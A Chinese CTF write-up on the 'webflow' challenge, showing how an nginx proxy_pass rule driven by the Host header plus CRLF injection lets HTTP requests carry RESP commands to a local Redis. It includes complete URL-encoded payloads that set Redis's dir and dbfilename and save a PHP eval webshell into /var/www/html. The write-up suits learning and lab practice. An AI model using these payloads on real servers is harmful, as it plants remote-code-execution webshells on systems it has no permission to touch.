Table of Content
前言
上周buu 金秋10月CTF
的webflow
题还是让人有点耿耿于怀。发现redis的过程就简单带过一下。主要利用 /proc/net/tcp
发现本地6379
存在监听,然后去读了下redis日志
确认了确实存在该服务。
根据提示, 懒得配置
、 plz rce me
. 很自然就会想到利用 nginx
转发去打 Redis
。nginx
配置如下:
其中重点在于这条转发配置:
location /proxy/ {
rewrite ^/proxy/(.*)$ /$1 break;
proxy_pass $scheme://$http_host/$1;
proxy_set_header Origin $scheme://$http_host$uri;
}
这条规则的工作原理如下:
-
rewrite ^/proxy/(.*)$ /$1 break;
:将/proxy/
后面的路径赋值给$1
。 -
proxy_pass $scheme://$http_host/$1;
:将请求转发到scheme+Host头+$1
的地址。 -
proxy_set_header Origin $scheme://$http_host$uri;
:设置转发的Origin
信息。
本地搭建了下复现环境,使用nc
测试一下,可以看到在web端发送的请求到了nc
这里。
如何利用nginx
攻击Redis
?
参考文章:通过http请求入侵redis 可知,Redis接口是非常宽容的,它会尝试解析每个提供的输入(直到超时或’QUIT’命令)。
这里顺便提一下TCP
和HTTP
的区别,将HTTP
看作是拥有一定结构的TCP,这个一定结构可以理解为:
- 请求行(包含方法、URI、HTTP版本)
- 请求头(包含客户端信息、请求体大小等)组成
- 可选地还包括一个请求体。
HTTP
本质上也是TCP
,只要满足Redis
的协议规范就可以了。
测试一下,可以看到redis是接受了一条指令。
接下来的想法就是通过修改HTTP
的请求结构,使得我们的命令可以以单独一行的形式出现。
又由于该web应用
中使用了nginx
作为转发,而nginx
又是存在CRLF缺陷的, 应此可以利用CRLF插入我们的命令,实现Redis命令执行。
如何插入命令(如何构造攻击载荷)
在构造之前,首先得了解Redis的通讯规则,在这篇文章中就可以找到:redis通讯协议(RESP).
为了成功攻击Redis,我们需要构造符合RESP协议
的HTTP请求。我们可以通过以下两种方法来构造这些请求
构造方法一:
- 使用
strace
命令strace -s 4096 -tt -f -e trace=network redis-cli
, 可以看到info
命令的具体请求数据为*1\r \n$4...
- 使用
Wireshark
抓包,通过跟踪tcp流找到执行的内容.
根据RESP协议规则,那么发送命令的内容就是:
*1\r\n$4\r\ninfo\r\n
利用CRLF
,构造出基本的请求格式:
\r\n*1\r\n$4\r\ninfo\r\n
接着将 \r\n
进行编码:
%0d%0a*1%0d%0a$4%0d%0ainfo%0d%0a
先使用nc
测试下,发现为符合预期的输入。
然后将该请求发往Redis, 从日志中可以看到命令执行成功,并且响应中返回了命令对应的内容:
接下来测试下常规的利用手法,写入webshell:
命令:config set dir /var/www/html
RESP协议:*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n
CRLFpayload:%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a
命令:set shell "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
RESP协议:*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$32\r\n\n\n\n<?php@eval($_POST['c']);?>\n\n\n\r\n
CRLFpayload:%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0ashell%0d%0a$32%0d%0a\n\n\n<%3fphp%40eval($_POST['c'])%3b%3f>\n\n\n%0d%0a
备注:记得将特殊字符进行urlencode处理
命令:config set dbfilename redis.php
RESP协议:*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nredis.php\r\n
CRLFpayload:%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0aredis.php%0d%0a
命令:save
RESP协议:*1\r\n$4\r\nsave\r\n
CRLFpayload:%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
monitor 日志如下:
这里有两个需要注意的点:
- 有些命令结果并不会直接在响应结果中出现,但是通过
Wireshark
记录可看到命令执行成功。但是由于是本地测试环境,所以能抓到本地的数据包,可以看到相应的结果。如果是远程环境,就没办法确认命令是否成功,几乎是属于盲打的状态,所以建议先在本地测试后再去远程。
盲打缺陷挺多的, 比如:
- 没办法确认目录是否存在
- 没办法确认目录是否拥有写入权限
比如后面写定时任务,由于是docker环境,不一定有cron环境,所以不太能确定是否写入成功。
- 在
Redis
的monitor
日志中发现:在写入shell
时\n
被转义了,这里的解决办法是使用%0a
将\n
替换就可以了。
定时任务同理,这里就不再演示。。。
构造方法二:
除此之外,文章中还提到了:当Redis发现它收到的数据不是以"*"开头时, 它就会尝试解析这个字符串, 把它当做一个命令来处理, 然后返回对应的RESP格式的响应.
原文是通过telnet
进行测试的,我这里使用nc
测试一下, 可以看到在nc
端输入ping
命令时,可以在monitor
中看到执行日志,并且“nc端也会收到
pong`的响应。
因此构造命令可以简化为:
/proxy/%0d%0aping
命令:config set dbfilename redis2.php
CRLF Payload:%0d%0aconfig%20set%20dbfilename%20redis2.php
命令:set shell "<?php@eval($_POST['e']);?>"
CRLF Payload: %0d%0aset%20shell%20"<%3fphp%40eval($_POST['e'])%3b%3f>
注意:需要将空格使用 %20 表示。
命令:save
CRLF Payload:%0d%0asave
最后上服务器上去查看,可以看到成功写入:
最后
最后一顿操作了半天,发现机器根本不出网。然后最后看wp的时候说的是,去读 /proc/1/envrion
就行了。
额。。。该喷还是得喷一下:不会出题就别出题。。。
最后整理了下文件读取的字典。。。file_read dict